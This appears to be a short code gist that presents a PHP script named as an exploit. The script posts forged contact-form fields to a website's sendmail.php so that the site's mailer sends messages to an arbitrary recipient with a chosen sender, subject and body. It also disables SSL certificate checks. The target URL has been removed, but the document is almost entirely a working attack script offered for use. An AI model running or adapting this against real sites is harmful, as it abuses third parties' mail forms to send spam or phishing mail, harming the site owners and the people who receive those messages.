Simple exploit to a sendmail.php vulnerability on a web site. The actual URL of the said vulnerability has been removed for security purposes along with any details that may link this gist to its victim.

sendmail_exploit.php

<?php
define('GIS_EMAIL_URL', 'sendmail.php');

$ch = curl_init(GIS_EMAIL_URL);
$data = array(
        'contact_email'     =>  'recipient@address.com',
        'name'              =>  'Whatever',
        'email'             =>  'sender@address.com',
        'subject'           =>  'Whatever',
        'message'           =>  'Whatever'
);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data, '', '&'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$content = curl_exec ($ch);
 
// Sent
echo ($content);
 
curl_close ($ch);
?>